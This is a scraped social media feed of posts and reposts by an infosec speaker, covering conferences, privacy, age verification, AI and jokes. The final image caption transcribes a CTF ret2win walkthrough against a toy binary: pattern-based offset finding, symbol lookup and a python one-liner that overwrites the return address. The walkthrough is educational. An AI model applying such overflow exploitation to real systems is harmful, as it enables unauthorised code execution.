Reposted by Kirils @#nohat2026Paul Southworth @pws.social.coop.ap.brid.gy · 31/08/2026Fact check... false 1230
Reposted by Kirils @#nohat2026Kit Bashir @unixbigot.aus.social.ap.brid.gy · 11/10/2026You don’t own your atoms. You are just borrowing them from eternity. 003
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 10/10/2026"AI can generate a patch-shaped object faster than we can know whether it is a fix." - weld, giving his insightful keynote at #nohat2026 101
Reposted by Kirils @#nohat2026✧✦Catherine✦✧ @whitequark.treehouse.systems.ap.brid.gy · 06/10/2026"germany's ex-spy chief arrested for espionage" is that not his job 134
Reposted by Kirils @#nohat2026Daniel Lakeland @dlakelan.mastodon.sdf.org.ap.brid.gy · 01/10/2026Fediverse, the social media system for 40+ year old people who built the world wide web and regret it. 20126452
Reposted by Kirils @#nohat2026daniel:// stenberg:// @bagder.mastodon.social.ap.brid.gy · 01/09/2026If you intend to invite people (like me for example) to events in Brussels the crazy week before #FOSDEM in 2027 - do that many months ahead of time please. 032
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 29/08/2026What’s up with the panopticon at #hackmas26? If I desired to be under constant surveillance, I would get arrested for committing felonies or move to London, not go to a hacker camp. 000
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 22/08/2026Congrats to #RIX on being the #1 most disrupted airport in the world right now thanks to the very violent wind gusts. In aviation, safety is the number one priority. 102
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 12/08/2026First time seeing a total eclipse of the sun. Worth it. 030
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 11/08/2026You can solve simple pwn challenges (ret2win in this example) with nothing but the stuff you have in a standart linux distro. :) #CTF #tips #ECSC 000
Reposted by Kirils @#nohat2026Dr. Victoria Grinberg @vicgrinberg.mastodon.social.ap.brid.gy · 09/08/2026Do good things and talk about them. And if good things are done to you, for you, around you, also talk about then. Because knowing may inspire others. Because folks feel lonely and caught in endless doom. Because we sometimes need a push to do something: it's easier if we know there is someone […]mastodon.socialOriginal post on mastodon.social 1868
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 07/08/2026OH: Success is chasing you. But you're faster. 000
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 07/08/2026We've arrived. You mean, go by a phone, sign a cellular connection contract, read a very long user agreement, choose a password, and create an account? Not inconveniencing at all. #youtube 100
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 07/08/2026How old are YOU intending to be on 19th January 2038? I'm working hard to be retired by then. 000
Reposted by Kirils @#nohat2026bontchev.infosec.exchange.ap.brid.gy @bontchev.infosec.exchange.ap.brid.gy · 01/08/2026A computer can never be held accountable... 02496
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 06/07/2026RE: oldbytes.space/@gloriouscow/1168700… People my age should get this one. Four beautiful colours. #CGAoldbytes.space 000
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 04/07/2026I noticed that recently* #whatsapp #web is loading much, much slower than before. I decided to look into it. A simple closing and reopening it in a new tab consumes 32 MiB (!!!) of traffic. I imagine that opening it once a week, as I do is even more demanding. * In 2026 #mysterysolved 000
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 04/07/2026If your #HomeAssistant OS upgrade from 17.3 to 18.0/18.1 broke your #pi compute module's integrated bluetooth, the quickest workaround is running `ha os boot-slot other` over ssh. Before you do that, verify that the other slot contains 17.3 by running `ha os info`. #quickfix 000
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 24/06/2026Honoured to be the first speaker of this year's @WEareTROOPERS right after the keynote and talking about my journey in reverse engineering the DUOX PLUS protocol. The audience was great, thank you for all the questions! :) 000
Reposted by Kirils @#nohat2026Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 12/06/2026My warm congratulations to the "billionaires shouldn't exist" crowd. Today marks the day when we finally lose one of the billionaires as he enters a trillionaire status. 3427 #billionaires to go. 001
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 12/06/2026My warm congratulations to the "billionaires shouldn't exist" crowd. Today marks the day when we finally lose one of the billionaires as he enters a trillionaire status. 3427 #billionaires to go. 001
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 02/06/2026RE: kolektiva.social/@nogodsnomasters/1… Related to my earlier retweet.kolektiva.social 001
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 31/05/2026I'm looking to evaluate incorporation of #AI into my #reverseengineering practices. To do that I'd like a tutorial. Now, how would one find tutorials online (text or video) which are expert-led and not composed by AI in these troubling times? 101
Reposted by Kirils @#nohat2026tante @tante.tldr.nettime.org.ap.brid.gy · 20/05/2026In Yesterday's IO Keynote Google declared war on the remnants of the Web. While they packaged it as a lot of "AI" talk what their whole approach of decontextualizing information, of taking away links to sources and instead producing some LLM generated response means is that they want to […]tldr.nettime.orgOriginal post on tldr.nettime.org 49178
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 15/05/2026RE: fosstodon.org/@libreoffice/11657699… Oh, I’m already loving the malware potential here.fosstodon.org 000
Reposted by Kirils @#nohat2026Street Art Utopia @streetartutopia.mastodon.online.ap.brid.gy · 14/05/2026 11830
Reposted by Kirils @#nohat2026BSidesLuxembourg @bsidesluxembourg.infosec.exchange.ap.brid.gy · 09/05/2026A special thanks: two persons at #BSidesLuxembourg2026 brought an extreme amount of laughs and engagement, only one of whom is on here: @stijn Tomme -> his Escape room “dismantle the bomb” was an absolute blast of a experience (reportedly, I MUST try this myself someday) And @k arranged the […]infosec.exchangeOriginal post on infosec.exchange 004
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 08/05/2026"I'm not the bank. You're the bank." #Bsidesluxembourg 000
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 08/05/2026"None of this matters.You're all gonna get compromised anyway." Security Impress Karaoke at #BSidesLuxembourg was tons of fun. 000
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 07/05/2026I have been toying with this idea for #privacy-friendly user #age #verification for years now. Time delays. You register and account. The account gets frozen for 18 years. The account gets unlocked and you're verified. 000
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 07/05/2026If the Safety chapter in a Wikipedia article on a sport start with a link to a list of fatalities, is that a relatively safe sport? 000
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 07/05/2026Hey, @jwz! I am trying to find/make a fully transparent lock/srceensaver for X. My research indicates that I might be caught up in fool's errand here. I read up on your posts about xscreensaver and thought -- could this guy enlighten me as to why it's not a thing? 000
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 15/04/2026RE: ec.social-network.europa.eu/@EUComm… Uh, oh. And, no, shops haven't been asking me for proof of age for the past 15 years. I don't even #carry. And I don't want to carry when going online. #privacyec.social-network.europa.eu 000
Reposted by Kirils @#nohat2026Jürgen Hubert @juergen-hubert.mementomori.social.ap.brid.gy · 04/04/2026I don't want the #Fediverse to grow because I see "growth" as an intrinsic good. I want the Fediverse to grow because I see commercial social media as a major threat to the long-term survival of human civilization. Thus, we need to replace it - and right now, the Fediverse seems to be the best […]mementomori.socialOriginal post on mementomori.social 1326
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 05/04/2026RE: mastodon.gamedev.place/@prime/11634… I’ve long forgotten the feeling. But yes, I think this is how I felt after seeing Windows ME and choosing Linux for my desktop instead of it.mastodon.gamedev.place 000
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 01/04/2026Can you guys stop leaking stuff on 1st of April? How do I tell if it's even real? 001
Reposted by Kirils @#nohat2026BSidesLuxembourg @bsidesluxembourg.infosec.exchange.ap.brid.gy · 25/03/2026Did you see that @k is running 'Security impress karaoke' at #BSidesLuxembourg2026 after an hour and a half of the drinks reception? Get on stage, talk about an #infosec slide deck you've never seen - like the Powerpoint karaoke at hack.lu but with infosec slide decks! Come try it after a full […]infosec.exchangeOriginal post on infosec.exchange 002
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 18/03/2026RE: floss.social/@gnome/116251314261667… Wanna feel old? The GNOME people just posted a picture implying that gnome was released 50 years ago. 🤪floss.social 000
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 08/03/2026The 90s called, and got a busy tone. They want their phone line back. Seriously, stop hogging the phone all the time. 000
Reposted by Kirils @#nohat2026FlohEinstein @floheinstein.chaos.social.ap.brid.gy · 05/03/2026Quote @openfactory: "How much packet loss do you have again? I dunno. Maybe six seven..." 003
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 04/03/2026Welcome to the future. Welcome to our very own 1984. www.svd.se/a/K8nrV4/metas-ai-smart-…svd.seMeta智能眼镜背后的研发人员能洞悉一切The workers behind Meta''s smart glasses can see everything (www.svd.se) 06:32 ↑ 116 HN Points 000
Reposted by Kirils @#nohat2026kravietz 🦇 @kravietz.agora.echelon.pl.ap.brid.gy · 04/03/2026An interesting case study in drone wars - last year #Germany passed a series of XC-2 assault drones (X-wing style) to #Ukraine, and these were susceptible to jamming and electronic warfare (EW), duly reported by #Russia channels with jokes and ironic comments. German manufacturer took the […]agora.echelon.plOriginal post on agora.echelon.pl 001
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 03/03/2026As most times, @pluralistic has written a detailed, informative, and insightful article about a simple thing. AI can't own copyright. pluralistic.net/2026/03/03/its-a-tr… Now, to me, personally that is obvious. Back in the day (2000s) when I needed to troll our local version of RIAA […]chaos.socialOriginal post on chaos.social 110
Reposted by Kirils @#nohat2026Matthew Slowe @fooflington.infosec.exchange.ap.brid.gy · 02/03/2026This deserves a slow-clap for Apple… > An update to macOS 26.3 is overdue. You can install it now or it will be installed automatically Yesterday, 20:06 #fail #macos #apple #slowclap 008
Kirils @#nohat2026 @k.chaos.social.ap.brid.gy · 28/02/2026RE: newsie.social/@Tendar/1161497870885… Ah, the elusive second person perspective shooter.newsie.social 000
Reposted by Kirils @#nohat2026Jon Hancock @bigjackbrass.social.vivaldi.net.ap.brid.gy · 20/02/2026> LOOK You are in a room. There are exits to the north and west. There is an armchair. > SIT You are sitting in an armchair in a room. There are exits to the north and west. A small black cat enters the room. > TAKE CAT You cannot take the cat. > PET CAT You pet the cat. It starts to purr […]social.vivaldi.netOriginal post on social.vivaldi.net 61144
![user@host /ramdisk $ ./vuln
what is your name?
hello
user@host /ramdisk $ pattern 100
Pattern: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
user@host /ramdisk $ ./vuln
what is your name?
Pattern: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Segmentation fault (core dumped)
user@host /ramdisk $ dmesg|tail -2
[10488.030469] vuln[16852]: segfault at 41386141 ip 0000000041386141 sp 00000000ff871c80 error 14 likely on CPU 14 (core 7, socket 0)
[10488.030486] Code: Unable to access opcode bytes at 0x41386117.
user@host /ramdisk $ pattern 0x41386141
Found at offset: 24
user@host /ramdisk $ objdump -t vuln|grep -e win -e flag
00000000 1 df *ABS* 00000000 ret2win-std.c
0804060 g 0 .bss 00000064 flagstring
0804921f g F .text 0000001e flag
user@host /ramdisk $ python2.7 -c 'print "A"*24+"\x1f\x92\x04\x08"' | ./vuln
what is your name?
Cookie: ECSC{example flag}
Segmentation fault (core dumped)](https://cdn.bsky.app/img/feed_thumbnail/plain/did:plc:stvyefovtmtftbnfuhlf6tyi/bafkreifosalmllifo5ouseuvxyklxqraxavxkezv4yl4kzhewexdjtoeaq)
